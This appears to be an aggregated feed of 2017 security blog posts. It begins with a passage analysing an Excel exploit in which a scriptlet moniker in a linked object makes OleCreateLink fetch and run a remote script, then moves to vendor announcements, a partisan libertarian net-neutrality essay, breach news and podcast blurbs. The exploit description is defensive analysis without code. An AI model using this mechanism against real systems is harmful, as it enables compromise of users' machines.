linked file objectsAs you can see, since the attackers are specifying the “script:” prefix in their resource URI, the MkParseDisplayName identifies the resource as a scriptlet, thus returning a moniker to a Windows Script Component (ComScriptletMoniker – {06290BD3-48AA-11D2-8432-006008C3FBFC}).


Now that a Windows Script Component moniker is associated with the linked object in Excel, the attack is just one API away from script execution. Following this moniker resolution, the result is then checked to see if it appears to be a FileMoniker or not, as seen in disassembly below.


In this malicious workbook, the moniker is not detected as a FileMoniker, but rather as MKSYS_NONE, since it is a ComScriptletMoniker. This causes execution to be diverted to an MSO.dll call (highlighted in red), which wraps a call to OleCreateLink:


When the linked data associated with a Scriptlet Moniker is passed to OleCreateLink API, the remote resource is downloaded and executed, resulting in system compromise. The image below shows Excel being debugged while we “update workbook links”, which results in a call to OleCreateLink (with scriptlet moniker) and executes the remote script, resulting in cmd and PowerShell instances to execute (seen in the lower right window – Processhacker.exe).



While this exploit is very effective, the particular sample attempting to leverage it appears to have a bug resulting in the final payload failing to execute. This is because they are using the Powershell “Start” command on an executable file that is missing the “.exe” file extension. This fails to start properly since Powershell’s “Start” uses “ShellExecute” API to properly lookup the application associated with the target’s file extension. Due to this, the final payload will not be seen in a dynamic environment, however, the anomalies and exploit steps used to get there are properly detected and scored as malicious, as seen in our sandbox analysis screenshot below.

Payload analysisWhile this initial variant appears to have an ineffective payload, we foresee future samples that will effectively leverage this exploit very soon.


In recent months, we have seen attackers exploit a number of “logic flaws” in Microsoft Office to attack users. These flaws are particularly problematic because these attacks are very reliable, as minor version differences in the vulnerable application (or environment) typically do not affect the chances of a successful exploit as is the case in many traditional vulnerabilities.  At the same time, logic flaws often do not require any traditional shellcode embedded in the document, which makes them more difficult to spot using traditional, signature-based detection solutions. Sandbox-based analysis solutions, on the other hand, allow tracking behavior just like on a real target system and can overcome even previously unseen, 0-day exploits using logic flaws.

The post When Scriptlets Attack: Excel’s Alternative to DDE Code Execution appeared first on Lastline.

New DDoS Protection for Physical or Virtual Environments

More and more organizations are benefiting from virtualization, moving some or all of their applications to the cloud. They are turning their attention to the possibility of virtualizing their entire infrastructure, with Software Defined Networks (SDN) running Virtualized Network Functions (VNFs).

In response to this, Corero recently launched the SmartWall Network Threat Defense - Virtual Edition (vNTD), which brings real-time DDoS attack visibility and mitigation to virtualized environments, for more diverse, flexible deployment possibilities. The virtual edition has the same powerful and rich DDoS detection, mitigation, visibility and reporting as the SmartWall® Threat Defense System physical appliances, but delivered as a Virtual Edition, for easy deployment and elastic scale.

This new defense device is available for KVM and vSphere platforms, delivering line-rate protection at up to 10Gbps per instance, giving organizations the flexibility to choose physical or virtual form-factors. Of course, we recognize that many organizations have a mix of physical and virtual environments, which is why both the virtual and physical defense devices can be managed from a single centralized console, thus saving IT security staff time and improving overall efficiency. The virtual edition can be dynamically deployed and scaled across virtualized networks, enabling internal segmentation as well as external-facing protection, in addition to the possibility of shielding existing network functions, including; FW, IPS, WAF, Load-Balancers, SBC, etc., as well as the virtualization controllers themselves, from the damaging effects and impact of DDoS attacks.

vNTD DDoS protection can be rapidly deployed to visualize, analyze and mitigate DDoS security events, in real-time. For more information, contact us.

Libertarians are against net neutrality

This post claims to be by a libertarian in support of net neutrality. As a libertarian, I need to debunk this. "Net neutrality" is a case of one-hand clapping, you rarely hear the competing side, and thus, that side may sound attractive. This post is about the other side, from a libertarian point of view.

That post just repeats the common, and wrong, left-wing talking points. I mean, there might be a libertarian case for some broadband regulation, but this isn't it.

This thing they call "net neutrality" is just left-wing politics masquerading as some sort of principle. It's no different than how people claim to be "pro-choice", yet demand forced vaccinations. Or, it's no different than how people claim to believe in "traditional marriage" even while they are on their third "traditional marriage".

Properly defined, "net neutrality" means no discrimination of network traffic. But nobody wants that. A classic example is how most internet connections have faster download speeds than uploads. This discriminates against upload traffic, harming innovation in upload-centric applications like DropBox's cloud backup or BitTorrent's peer-to-peer file transfer. Yet activists never mention this, or other types of network traffic discrimination, because they no more care about "net neutrality" than Trump or Gingrich care about "traditional marriage".

Instead, when people say "net neutrality", they mean "government regulation". It's the same old debate between who is the best steward of consumer interest: the free-market or government.

Specifically, in the current debate, they are referring to the Obama-era FCC "Open Internet" order and reclassification of broadband under "Title II" so they can regulate it. Trump's FCC is putting broadband back to "Title I", which means the FCC can't regulate most of its "Open Internet" order.

Don't be tricked into thinking the "Open Internet" order is anything but intensely politically. The premise behind the order is the Democrat's firm believe that it's government who created the Internet, and all innovation, advances, and investment ultimately come from the government. It sees ISPs as inherently deceitful entities who will only serve their own interests, at the expense of consumers, unless the FCC protects consumers.

It says so right in the order itself. It starts with the premise that broadband ISPs are evil, using illegitimate "tactics" to hurt consumers, and continues with similar language throughout the order.

A good contrast to this can be seen in Tim Wu's non-political original paper in 2003 that coined the term "net neutrality". Whereas the FCC sees broadband ISPs as enemies of consumers, Wu saw them as allies. His concern was not that ISPs would do evil things, but that they would do stupid things, such as favoring short-term interests over long-term innovation (such as having faster downloads than uploads).

The political depravity of the FCC's order can be seen in this comment from one of the commissioners who voted for those rules:
FCC Commissioner Jessica Rosenworcel wants to increase the minimum broadband standards far past the new 25Mbps download threshold, up to 100Mbps. "We invented the internet. We can do audacious things if we set big goals, and I think our new threshold, frankly, should be 100Mbps. I think anything short of that shortchanges our children, our future, and our new digital economy," Commissioner Rosenworcel said.
This is indistinguishable from communist rhetoric that credits the Party for everything, as this booklet from North Korea will explain to you.

But what about monopolies? After all, while the free-market may work when there's competition, it breaks down where there are fewer competitors, oligopolies, and monopolies.

There is some truth to this, in individual cities, there's often only only a single credible high-speed broadband provider. But this isn't the issue at stake here. The FCC isn't proposing light-handed regulation to keep monopolies in check, but heavy-handed regulation that regulates every last decision.

Advocates of FCC regulation keep pointing how broadband monopolies can exploit their renting-seeking positions in order to screw the customer. They keep coming up with ever more bizarre and unlikely scenarios what monopoly power grants the ISPs.

But the never mention the most simplest: that broadband monopolies can just charge customers more money. They imagine instead that these companies will pursue a string of outrageous, evil, and less profitable behaviors to exploit their monopoly position.

The FCC's reclassification of broadband under Title II gives it full power to regulate ISPs as utilities, including setting prices. The FCC has stepped back from this, promising it won't go so far as to set prices, that it's only regulating these evil conspiracy theories. This is kind of bizarre: either broadband ISPs are evilly exploiting their monopoly power or they aren't. Why stop at regulating only half the evil?

The answer is that the claim "monopoly" power is a deception. It starts with overstating how many monopolies there are to begin with. When it issued its 2015 "Open Internet" order the FCC simultaneously redefined what they meant by "broadband", upping the speed from 5-mbps to 25-mbps. That's because while most consumers have multiple choices at 5-mbps, fewer consumers have multiple choices at 25-mbps. It's a dirty political trick to convince you there is more of a problem than there is.

In any case, their rules still apply to the slower broadband providers, and equally apply to the mobile (cell phone) providers. The US has four mobile phone providers (AT&T, Verizon, T-Mobile, and Sprint) and plenty of competition between them. That it's monopolistic power that the FCC cares about here is a lie. As their Open Internet order clearly shows, the fundamental principle that animates the document is that all corporations, monopolies or not, are treacherous and must be regulated.

"But corporations are indeed evil", people argue, "see here's a list of evil things they have done in the past!"

No, those things weren't evil. They were done because they benefited the customers, not as some sort of secret rent seeking behavior.

For example, one of the more common "net neutrality abuses" that people mention is AT&T's blocking of FaceTime. I've debunked this elsewhere on this blog, but the summary is this: there was no network blocking involved (not a "net neutrality" issue), and the FCC analyzed it and decided it was in the best interests of the consumer. It's disingenuous to claim it's an evil that justifies FCC actions when the FCC itself declared it not evil and took no action. It's disingenuous to cite the "net neutrality" principle that all network traffic must be treated when, in fact, the network did treat all the traffic equally.

Another frequently cited abuse is Comcast's throttling of BitTorrent.Comcast did this because Netflix users were complaining. Like all streaming video, Netflix backs off to slower speed (and poorer quality) when it experiences congestion. BitTorrent, uniquely among applications, never backs off. As most applications become slower and slower, BitTorrent just speeds up, consuming all available bandwidth. This is especially problematic when there's limited upload bandwidth available. Thus, Comcast throttled BitTorrent during prime time TV viewing hours when the network was already overloaded by Netflix and other streams. BitTorrent users wouldn't mind this throttling, because it often took days to download a big file anyway.

When the FCC took action, Comcast stopped the throttling and imposed bandwidth caps instead. This was a worse solution for everyone. It penalized heavy Netflix viewers, and prevented BitTorrent users from large downloads. Even though BitTorrent users were seen as the victims of this throttling, they'd vastly prefer the throttling over the bandwidth caps.

In both the FaceTime and BitTorrent cases, the issue was "network management". AT&T had no competing video calling service, Comcast had no competing download service. They were only reacting to the fact their networks were overloaded, and did appropriate things to solve the problem.

Mobile carriers still struggle with the "network management" issue. While their networks are fast, they are still of low capacity, and quickly degrade under heavy use. They are looking for tricks in order to reduce usage while giving consumers maximum utility.

The biggest concern is video. It's problematic because it's designed to consume as much bandwidth as it can, throttling itself only when it experiences congestion. This is what you probably want when watching Netflix at the highest possible quality, but it's bad when confronted with mobile bandwidth caps.

With small mobile devices, you don't want as much quality anyway. You want the video degraded to lower quality, and lower bandwidth, all the time.

That's the reasoning behind T-Mobile's offerings. They offer an unlimited video plan in conjunction with the biggest video providers (Netflix, YouTube, etc.). The catch is that when congestion occurs, they'll throttle it to lower quality. In other words, they give their bandwidth to all the other phones in your area first, then give you as much of the leftover bandwidth as you want for video.

While it sounds like T-Mobile is doing something evil, "zero-rating" certain video providers and degrading video quality, the FCC allows this, because they recognize it's in the customer interest.

Mobile providers especially have great interest in more innovation in this area, in order to conserve precious bandwidth, but they are finding it costly. They can't just innovate, but must ask the FCC permission first. And with the new heavy handed FCC rules, they've become hostile to this innovation. This attitude is highlighted by the statement from the "Open Internet" order:
And consumers must be protected, for example from mobile commercial practices masquerading as “reasonable network management.”
This is a clear declaration that free-market doesn't work and won't correct abuses, and that that mobile companies are treacherous and will do evil things without FCC oversight.


Ignoring the rhetoric for the moment, the debate comes down to simple left-wing authoritarianism and libertarian principles. The Obama administration created a regulatory regime under clear Democrat principles, and the Trump administration is rolling it back to more free-market principles. There is no principle at stake here, certainly nothing to do with a technical definition of "net neutrality".

The 2015 "Open Internet" order is not about "treating network traffic neutrally", because it doesn't do that. Instead, it's purely a left-wing document that claims corporations cannot be trusted, must be regulated, and that innovation and prosperity comes from the regulators and not the free market.

It's not about monopolistic power. The primary targets of regulation are the mobile broadband providers, where there is plenty of competition, and who have the most "network management" issues. Even if it were just about wired broadband (like Comcast), it's still ignoring the primary ways monopolies profit (raising prices) and instead focuses on bizarre and unlikely ways of rent seeking.

If you are a libertarian who nonetheless believes in this "net neutrality" slogan, you've got to do better than mindlessly repeating the arguments of the left-wing. The term itself, "net neutrality", is just a slogan, varying from person to person, from moment to moment. You have to be more specific. If you truly believe in the "net neutrality" technical principle that all traffic should be treated equally, then you'll want a rewrite of the "Open Internet" order.

In the end, while libertarians may still support some form of broadband regulation, it's impossible to reconcile libertarianism with the 2015 "Open Internet", or the vague things people mean by the slogan "net neutrality".

Today’s Executives Face Evolving Cyber Threats

To prevent executives from becoming exploited data access points for threat actors, sufficient protection must go beyond simply guarding against physical danger


Leadership Insights
Risk Management

To prevent executives from becoming exploited data access points for threat actors, sufficient protection must go beyond simply guarding against physical danger.

Hack Naked News #152 – December 5, 2017

Paul reports on a flaw found in Dirty COW patch, Apache Software security updates, more hacks in 2018, and a MailSploit e-mail spoofing flaw! Jason Wood joins us to give expert commentary on a Federal Data Breach Legislation, and more on this episode of Hack Naked News!Full Show Notes:

Visit for all the latest episodes!

Startup Security Weekly #64 – Legal in Some States

Zach Schlumpf of IOActive joins us. In our article discussion, we talk about winning arguments, turning insight into execution, and avoiding the "Yes" dilemma. In the news, we have updates from Bitdefender, McAfee, Barracuda Networks, Pwnie Express, ReversingLabs, and more on this episode of Startup Security Weekly!

Full Show Notes:

Visit for all the latest episodes!

Some random thoughts on Damian Green and those porn allegations

If you live in the UK then you might have noticed the somewhat bizarre furore over Damian Green MP and his alleged viewing of pornography on house his Parliament computer. Now, I don't know for certain if he did or didn't, but to put it in context his private email address also allegedly turned up in the Ashley Madison leak and on top of that there are sexual harassment allegations too. But

Weekly Cyber Risk Roundup: Uber’s Breach Woes, Major Cybercriminals Prosecuted

Uber was the week’s top trending cybercrime target due to the announcement of a year-old breach that affects 57 million customers and drivers. In addition, the company admitted to paying the hackers $100,000 in an effort to keep the breach out the public eye.


The data was stolen in October 2016, and it includes the names, email addresses, and phone numbers of 50 million Uber riders, as well as the driver’s licenses and personal information of approximately 7 million drivers. Bloomberg reported that two attackers accessed a private GitHub repository used by Uber software engineers, used login credentials they obtained there to access data stored on an Amazon Web Services account that handled computing tasks for the company, and then discovered an archive of rider and driver information they later used to extort the company.

The breach announcement is just the latest chapter is Uber’s security and legal woes, and Dara Khosrowshahi, who took over as chief executive officer in September, said that the company is “changing the way we do business” moving forward. The payment of $100,000 to conceal the breach and have the attackers delete the stolen information led to the firing of Uber’s chief security officer and another employee for their roles in the incident. Reuters reported that three senior managers within Uber’s security unit have since resigned as well.

Europe’s national privacy regulators have formed a task force to investigate Uber’s breach and the company’s attempt at concealing it from regulators. In addition, numerous state attorneys general have initiated investigations or lawsuits related to the breach. The breach also came a week before three senators introduced a national bill that would require companies to report data breaches within 30 days.


Other trending cybercrime events from the week include:

  • Organizations continue to expose data: Researchers found 111 GB of internal customer data from National Credit Federation exposed online via a publicly accessible Amazon S3 bucket. Researchers discovered three publicly accessible Amazon S3 buckets tied to Department of Defense intelligence-gathering operations that contain at least 1.8 billion posts of scraped internet content over the past 8 years. Researchers discovered data belonging to the United States Army Intelligence and Security Command (INSCOM) exposed on the internet, including internal data and virtual systems used for classified communications. A security researcher discovered a file containing 11 million email addresses and plaintext passwords for users of Armor Games and Coupon Mom. Dalhousie University is notifying 20,000 individuals that their personal information was inadvertently saved to a folder accessible by faculty, staff, and students.
  • Email incidents lead to breaches: YMCA of Central Florida is notifying individuals that an unauthorized person gained access to several employee email accounts, potentially compromising a variety of personal information including ID cards, financial information, and health information. The Medical College of Wisconsin said that 9,500 patients had their information compromised due to a spear phishing attack on the school’s email system. Ireland’s Central Statistics Office said that 3,000 former employees had their personal information exposed due to an error that resulted in their personal P45 information being sent via email.
  • More extortion attacks: The British shipping company Clarksons said that it was the victim of a data breach and that the actors behind the breach have threatened to release some of the stolen data if a ransom is not paid. The Texas Department of Agriculture, which oversees school breakfast and lunch programs, said that several East Texas school districts were affected by a ransomware infection on a department employee’s computer. A server used by USA Hoist Company, Mid-American Elevator Company, and Mid-American Elevator Equipment Company to store employee and vendor information was infected with ransomware by a group claiming to be TheDarkOverlord.
  • Other notable incidents: Imgur said that it was recently notified by a researcher of a data breach that occurred in 2014 affecting the email addresses and passwords of 1.7 million user accounts. Combat Brands is notifying customers of breach of payment card data involving cards used at,,, and between July 1, 2015 and October 6, 2017. The Australian Department of Social Services is notifying 8,500 individuals that data relating to staff profiles within the department’s credit card management system prior to 2016 has been compromised due to a breach at a contractor. Brinderson, L.P. is notifying employees that their personal information may have been compromised due to unauthorized access to one of its computer systems.

SurfWatch Labs collected data on many different companies tied to cybercrime over the past week. Some of those “newly seen” targets, meaning they either appeared in SurfWatch Labs’ data for the first time or else reappeared after being absent for several weeks, are shown in the chart below.


Cyber Risk Trends From the Past Week

2017-12-1_RiskScoresThis past week saw several notable legal actions against cybercriminals.

The most prominent figure was Roman Valeryevich Seleznev, aka Track2, who was sentenced to 14 years in prison for his role in the 2008 defrauding of Atlanta-based payment card processor RBS Worldpay – which led to the theft of 45.5 million debit card numbers and $9.4 million in fraudulent ATM withdrawals – as well as his role in selling stolen payment card and personal data to members of – a cybercriminal website that resulted in victims losing at least 50 million dollars.

As SurfWatch Labs noted in April, Seleznev is already serving a 27-year prison sentence, the longest ever related to cybercrime, for his role in a separate $170 million payment card fraud operation. The prosecutors in that case described Seleznev as “the highest profile long-term cybercriminal ever convicted by an American jury” and a “pioneer” and “revered” point-of-sale hacker in the criminal underworld. Seleznev’s two sentences will be served concurrently.

In addition, the U.S. government has charged three Chinese nationals with hacking into Siemens AG, Trimble Inc, and Moody’s Analytics between 2011 and 2017 to steal business secrets. According to the indictment, the three defendants were associated with the Chinese cybersecurity firm Guangzhou Bo Yu Information Technology Company Ltd. Government officials told Reuters that most if not all of the firm’s hacking operations are state-sponsored and directed; however, the case is not being prosecuted as state-sponsored hacking.

The week also saw the guilty plea of one of the four men indicted earlier this year on charges related to the hacking of Yahoo. Karim Baratov, 22, a Canadian national and resident, pleaded guilty for his role in assisting the three other men who are charged and remain at large in Russia. The three other men are accused of hacking Yahoo’s network, and Baratov said in his plea agreement that he hacked more than 11,000 webmail accounts in total from around 2010 until March 2017, including accounts of individuals of interest to the FSB as directed by one of the other men. Baratov’s sentencing hearing is scheduled for February 20, 2018.

Finally, Europol announced that a joint law enforcement action across 26 countries had led to the arrest of 159 individuals and the identification of 766 money mules and 59 money mule organizers. The money mule transactions accounted for total losses of nearly €31 million, more than 90 percent of which was cybercrime related.

On "Advanced" Network Security Monitoring

My TaoSecurity News page says I taught 41 classes lasting a day or more, from 2002 to 2014. All of these involved some aspect of network security monitoring (NSM). Many times students would ask me when I would create the "advanced" version of the class, usually in the course feedback. I could never answer them, so I decided to do so in this blog post.

The short answer is this: at some point, advanced NSM is no longer NSM. If you consider my collection - analysis - escalation - response model, NSM extensions from any of those phases quickly have little or nothing to do with the network.

Here are a few questions I have received concerned "advanced NSM," paired with the answers I could have provided.

Q: "I used NSM to extract a binary from network traffic. What do I do with this binary?"

A: "Learn about reverse engineering and binary analysis."


Q: "I used NSM to extra Javascript from a malicious Web page. What do I do with this Javascript?"

A: "Learn about Javascript de-obfuscation and programming."


Q: "I used NSM to capture an exchange between a Windows client and a server. What does it mean?"

A: "Learn about Server Message Block (SMB) or Common Internet File System (CIFS)."


Q: "I used NSM to capture cryptographic material exchanged between a client and a server. How do I understand it?"

A: "Learn about cryptography."


Q: "I used NSM to grab shell code passed with an exploit against an Internet-exposed service. How do I tell what it does?"

A: "Learn about programming in assembly."


Q: "I want to design custom hardware for packet capture. How do I do that?"

A: "Learn about programming ASICs (application specific integrated circuits)."

I realized that I had the components of all of this "advanced NSM" material in my library. I had books on reverse engineering and binary analysis, Javascript, SMB/CIFS, cryptography, assembly programming, ASICs, etc.

The point is that eventually the NSM road takes you to other aspects of the cyber security landscape.

Are there *any* advanced area for NSM? One could argue that protocol analysis, as one finds in tools like Bro, Suricata, Snort, Wireshark, and so on constitute advanced NSM. However, you could just as easily argue that protocol analysis becomes more about understanding the programming and standards behind each of the protocols.

In brief, to learn advanced NSM, expand beyond NSM.

Cryptocurrency: Top Target for DDoS attacks

The growing popularity of digital currencies has turned them into an attractive target for cyber criminals. A recent report by Kaspersky confirmed that cryptocurrency exchange platforms are frequently subject to a variety of cyberattacks, including DDoS. And last month alone, we’ve witnessed several distributed denial of service attacks on such platforms, including one on the cryptocurrencies exchange Bitfinex and another one on the UK cryptocurrency start-up Electroneum.

DDoS attacks are used to flood a website’s servers with traffic to make the website crash, or open the door to other cyber threats. Outside of the world of cryptocurrency, such attacks are used by hackers to extort money, steal data or as an anti-competitive business practice. Regardless of the motivations, DDoS attacks can have devastating consequences for companies of any size. Digital currency platforms are also vulnerable.

DDoS attack on cryptocurrency platforms could be utilized to manipulate the exchange market or the targeted currency. These threats aim to break the operability of the service and prevent traders from logging into accounts and making transactions, causing the value to drop. Attackers can then pause the attack efforts to buy as much as they can while the price is low – impacting the overall value of the currency. Those attack serve as an example of the never-ending variety and sophistication of DDoS. Indeed, attackers are leveraging DDoS in increasingly innovative ways, and so to keep up, defence solutions need to be similarly inventive.

Today’s DDoS attacks are far more sophisticated, deceptive and frequent than those of the past. The impetus of these attacks goes far beyond denying service; they are intended to disrupt and breach security barriers by acting as a smokescreen, hiding more sinister activities – usually data theft and network infiltration. Indeed, in a large proportion of data breaches reported over the last few years, DDoS attacks have been occurring simultaneously, as a component of a wider strategy. In these cases, DDoS attacks are used as a diversion to distract the attention of the company's security team and to provide a cover for more damaging malevolent activities.

DDoS attacks against digital currency are just another example of why organisations that rely on always-on internet availability need to invest in the latest DDoS protection technology, to ensure they don’t suffer downtime in the wake of such attacks. It's essential that organizations maintain a comprehensive visibility across their networks to detect and block any potential DDoS incursions as they arise.

For more information, please contact us.

Paul’s Security Weekly #538 – Enjoy the Taste

Allison Miller joins us for an interview, Mick Douglas of the SANS Institute shows us how to feed common and default logs into ELK stacks, and we report on the latest security news on this episode of Paul's Security Weekly!

Full Show Notes:

Visit for all the latest episodes!

→Follow us on Twitter:

→Like us on Facebook:

Additional protections by Safe Browsing for Android users

Updated on 12/14/17 to further distinguish between Unwanted Software Policy and Google Play Developer Program Policy
In our efforts to protect users and serve developers, the Google Safe Browsing team has expanded enforcement of Google's Unwanted Software Policy to further tamp down on unwanted and harmful mobile behaviors on Android. As part of this expanded enforcement, Google Safe Browsing will show warnings on apps and on websites leading to apps that collect a user’s personal data without their consent.

Apps handling personal user data (such as user phone number or email), or device data will be required to prompt users and to provide their own privacy policy in the app. Additionally, if an app collects and transmits personal data unrelated to the functionality of the app then, prior to collection and transmission, the app must prominently highlight how the user data will be used and have the user provide affirmative consent for such use.

These data collection requirements apply to all functions of the app. For example, during analytics and crash reportings, the list of installed packages unrelated to the app may not be transmitted from the device without prominent disclosure and affirmative consent.

These requirements, under the Unwanted Software Policy, apply to apps in Google Play and non-Play app markets. The Google Play team has also published guidelines for how Play apps should handle user data and provide disclosure.

Starting in 60 days, this expanded enforcement of Google’s Unwanted Software Policy may result in warnings shown on user devices via Google Play Protect or on webpages that lead to these apps. Webmasters whose sites show warnings due to distribution of these apps should refer to the Search Console for guidance on remediation and resolution of the warnings. Developers whose apps show warnings should refer to guidance in the Unwanted Software Help Center. Developers can also request an app review using this article on App verification and appeals, which contains guidance applicable to apps in both Google Play and non-Play app stores. Apps published in Google Play have specific criteria to meet under Google Play’s Developer Program Policies; these criteria are outlined in the Play August 2017 announcement.